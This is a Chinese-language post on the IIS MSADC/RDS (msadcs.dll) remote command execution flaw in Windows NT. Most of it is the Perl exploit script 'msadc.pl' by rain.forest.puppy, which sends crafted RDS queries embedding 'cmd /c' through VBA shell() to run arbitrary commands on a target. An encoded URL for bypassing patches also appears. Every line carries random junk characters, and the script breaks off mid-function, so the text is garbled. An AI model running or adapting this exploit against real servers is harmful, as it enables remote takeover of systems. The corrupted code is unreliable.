IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
kf>'AbN I$qL= 涉及程序:
a<!g*UVL0M Microsoft NT server
F8b*Mt}p `mw@" 描述:
W@"M/<r@/ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
yuFuYo&[?v 1P8$z:|~ 详细:
mg'-]>$ $] 如果你没有时间读详细内容的话,就删除:
M P0ww$( c:\Program Files\Common Files\System\Msadc\msadcs.dll
K+T`'J4 有关的安全问题就没有了。
ixiRFBUcF~ 2)[81a 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
w'M0Rd] 'r1&zw( 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
|V!A!tB 关于利用ODBC远程漏洞的描述,请参看:
,dBtj8= b^Rg_,s http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm !6<2JNf ^N Et{]x 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
]o,) #/' $ http://www.microsoft.com/security/bulletins/MS99-025faq.asp aM? 7'8/ X:8=jHkz 这里不再论述。
J_rCo4} EF)kYz!@ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
e;rs!I!Yw y*Ex5N~JC /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
IA8kq =W 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
)4GfT E6)FYz7x 3w{i5gGn #将下面这段保存为txt文件,然后: "perl -x 文件名"
Y ;&Cmi YqNhD6 #!perl
/8W}o/,s5 #
\,p) # MSADC/RDS 'usage' (aka exploit) script
+qsdA#2 #
webT # by rain.forest.puppy
1+#Vj# #
?0'bf y] # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
|C>Yd*E,C # beta test and find errors!
H7qda'%> ynP^|Ou use Socket; use Getopt::Std;
rK=[&k getopts("e:vd:h:XR", \%args);
qViky=/- V3@^bc! print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
i>)Whr'e8 D\*raQ`n if (!defined $args{h} && !defined $args{R}) {
]BAF print qq~
&
NOKrN~HX Usage: msadc.pl -h <host> { -d <delay> -X -v }
ZP%^.wxC -h <host> = host you want to scan (ip or domain)
5^*
d4[&+ -d <seconds> = delay between calls, default 1 second
X/gh>MJJ< -X = dump Index Server path table, if available
x(mY$l,il -v = verbose
krz@1[w-j -e = external dictionary file for step 5
[FyE{NfiJ% w`#lLl
B Or a -R will resume a command session
m"U\;Mw? S'3l<sY ~; exit;}
/-BplU*"9 |_O; U=2 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
1/le%}mK if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
mi97$Cr2 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
,dh*GJ{5 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
PjsQ+5[> $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
_V8pDcY if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
s/,St!A4! /}M@
@W if (!defined $args{R}){ $ret = &has_msadc;
3)Paf`mr die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
lfj>]om$ ^=R>rUCmv print "Please type the NT commandline you want to run (cmd /c assumed):\n"
]4z?sk@ . "cmd /c ";
{L q
uOC1 $in=<STDIN>; chomp $in;
O^:Rm=,$ $command="cmd /c " . $in ;
Y/@4|9! _v2FXm if (defined $args{R}) {&load; exit;}
K bwWrf> $fnFi|- print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
R
)?8A\<E &try_btcustmr;
BT#'<!7! :_Ng`b/ print "\nStep 2: Trying to make our own DSN...";
7sLs+|<" &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
! *pK# Q'Q+mt8u5 print "\nStep 3: Trying known DSNs...";
|n6nRE wW &known_dsn;
Ns1u0$fg \f{C2d/6j print "\nStep 4: Trying known .mdbs...";
W*U\79H &known_mdb;
`86 9XE `?Y/:4 if (defined $args{e}){
Sl 6}5 print "\nStep 5: Trying dictionary of DSN names...";
&+*jTE &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
'>`bp25> pazFVzT print "Sorry Charley...maybe next time?\n";
y!aq}YS exit;
]Ff&zBJ WfO6Fvx% ##############################################################################
t~@TUTbx ;TaT=% sub sendraw { # ripped and modded from whisker
0Y!Bb2m sleep($delay); # it's a DoS on the server! At least on mine...
0kC!v, my ($pstr)=@_;
YtIJJH socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
<cepRjDn die("Socket problems\n");
urog.Q if(connect(S,pack "SnA4x8",2,80,$target)){
}"xC1<] select(S); $|=1;
!T
@|9PCp print $pstr; my @in=<S>;
:5CwRg select(STDOUT); close(S);
M>T#MDK\( return @in;
Gm>8=
=c } else { die("Can't connect...\n"); }}
Bxm^Arc> x%x[5.CT ##############################################################################
40q8,M `^w5/v# sub make_header { # make the HTTP request
NO9Jre my $msadc=<<EOT
;o8cfD .z POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
]qv/+~Qs> User-Agent: ACTIVEDATA
AK[9fxrE Host: $ip
&OuyjW4 Content-Length: $clen
uMqo)J@s Connection: Keep-Alive
YQYN.\ BHFWig*{ ADCClientVersion:01.06
7i/?+| Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
V?5_J% //6m2a --!ADM!ROX!YOUR!WORLD!
=2`s Uw} Content-Type: application/x-varg
~'T]B{.+J Content-Length: $reqlen
UGR5ILf b/S4b EOT
^M?uv{354 ; $msadc=~s/\n/\r\n/g;
KN+*_L- return $msadc;}
TXy*- <#vR }-8K*A3 ##############################################################################
XPX{c|]>. q:nYUW o sub make_req { # make the RDS request
]vu'+F$ my ($switch, $p1, $p2)=@_;
Lw!@[;2 my $req=""; my $t1, $t2, $query, $dsn;
1>|p1YZ" ,P9B8oIq if ($switch==1){ # this is the btcustmr.mdb query
!})+WSs'"s $query="Select * from Customers where City=" . make_shell();
GH:Au $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
dd$\Q $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
[ ra[~ x{ZcF=4 elsif ($switch==2){ # this is general make table query
|t.WPp5, $query="create table AZZ (B int, C varchar(10))";
(>)Y0ki} $dsn="$p1";}
f Z \Ev%F |/r@z[t elsif ($switch==3){ # this is general exploit table query
];Z_S`JR $query="select * from AZZ where C=" . make_shell();
N8mK^{ $dsn="$p1";}
/nC"'d(# (cA=~Bw[= elsif ($switch==4){ # attempt to hork file info from index server
S liF$}J $query="select path from scope()";
VDQ&BmJE $dsn="Provider=MSIDXS;";}
<vbk@d hr)TC- elsif ($switch==5){ # bad query
!TG"AW $query="select";
qLPI^g, $dsn="$p1";}
l kl#AH ,cbP yg $t1= make_unicode($query);
1lx\Pz@ol $t2= make_unicode($dsn);
3btciR!N] $req = "\x02\x00\x03\x00";
lz # inC| $req.= "\x08\x00" . pack ("S1", length($t1));
Dcp,9"yt% $req.= "\x00\x00" . $t1 ;
lUWjm%| $req.= "\x08\x00" . pack ("S1", length($t2));
Y4b"(ZhM_ $req.= "\x00\x00" . $t2 ;
sQt@B#; $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
~[,E
i k return $req;}
Ie+z"&0 OGae]O< ##############################################################################
^(6.P)$ 4I2ppz sub make_shell { # this makes the shell() statement
Q0M8} return "'|shell(\"$command\")|'";}
-|ee=BV `d8$OC ##############################################################################
tU?lfU[7 ,,,5pCi\ sub make_unicode { # quick little function to convert to unicode
3EzI~Zsx my ($in)=@_; my $out;
R4qS,2E for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
*9*I:Uh57 return $out;}
B|!YGfL E7j]"\~ i ##############################################################################
|pJ.73 |NM.-@1 sub rdo_success { # checks for RDO return success (this is kludge)
}*+ca>K my (@in) = @_; my $base=content_start(@in);
z{AfR2L if($in[$base]=~/multipart\/mixed/){
6:h!gY return 1 if( $in[$base+10]=~/^\x09\x00/ );}
KL -8Aj~ return 0;}
gE8>5_R| vO"AJ`_ ##############################################################################
AoTL)', O-: ~6A sub make_dsn { # this makes a DSN for us
v'Lckw@G4 my @drives=("c","d","e","f");
f5`exfdHE print "\nMaking DSN: ";
_<5>
E foreach $drive (@drives) {
^mG-O print "$drive: ";
2#|Q=rWB my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
xx41Qw>\W "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
)~!Gs/w6 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
<hS >L1ZSr $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
9BHl2<&V return 0 if $2 eq "404"; # not found/doesn't exist
@3b0hi4 if($2 eq "200") {
II[qWs>RG[ foreach $line (@results) {
YJr@4!j* return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
,9q5jOnk } return 0;}
BDcl1f T 'JRkS'ay ##############################################################################
a:@Eg;aN*O a*vi&$@`Z1 sub verify_exists {
Y}F+4 my ($page)=@_;
Z;Tjjws my @results=sendraw("GET $page HTTP/1.0\n\n");
4J_18.JHP return $results[0];}
t1Cyyb m#8mU,7 ##############################################################################
Ak|jJ jQ`cfE$sV sub try_btcustmr {
gKBcD\F my @drives=("c","d","e","f");
Dwwh;B my @dirs=("winnt","winnt35","winnt351","win","windows");
oBIKtS*L ~9x$tb x- foreach $dir (@dirs) {
(8{h I print "$dir -> "; # fun status so you can see progress
t'7)aJMP foreach $drive (@drives) {
4UG7{[!+ print "$drive: "; # ditto
o3%+FWrVTS $reqlen=length( make_req(1,$drive,$dir) ) - 28;
'p{>zQ\5 $reqlenlen=length( "$reqlen" );
3D%I=p( $clen= 206 + $reqlenlen + $reqlen;
H?O* "rkP@ja9n my @results=sendraw(make_header() . make_req(1,$drive,$dir));
[t ?ftS if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
!9V_U else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
MbjH\XRB j>P>MdZtk ##############################################################################
BcA:M\dK% B;_M52-B sub odbc_error {
.K:>`~<) my (@in)=@_; my $base;
et)A$'Q my $base = content_start(@in);
C;STJrew if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
`)K1[& $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?$8OVq.w, $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
K{"(|~=U $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?l
bK;Kv return $in[$base+4].$in[$base+5].$in[$base+6];}
r=s2wjk print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
|8V+(Vzl print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
1oodw!hW $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Qv[@ioc uvZ|6cM ##############################################################################
"EhA _ =i `"/@LUso sub verbose {
6Pd;I,k my ($in)=@_;
Fe`$mtPu . return if !$verbose;
Ns&SZO print STDOUT "\n$in\n";}
"4i(5|whp? =j}]-! ##############################################################################
C\
9eR qI KVu_ sub save {
s _p?3bKu my ($p1, $p2, $p3, $p4)=@_;
+*F ;l\R open(OUT, ">rds.save") || print "Problem saving parameters...\n";
FRX'"gIR0 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
x!gu&AA<* close OUT;}
_f2(vWCW;J Smg,1,= ##############################################################################
q=g;TAXZl /R@eOl}D sub load {
&o:wSe my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
sIg{a(1/ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
q[7C,o>/ @p=<IN>; close(IN);
zjB8~ku# $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
dN;C-XF3s $target= inet_aton($ip) || die("inet_aton problems");
1;g>?18@ print "Resuming to $ip ...";
BWz*!( $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
-bcm"(<T' if($p[1]==1) {
>*k3D& $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
yv]/A<gP+ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
@
L?7`VoE my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
OG/R6k. if (rdo_success(@results)){print "Success!\n";}
`3\5&B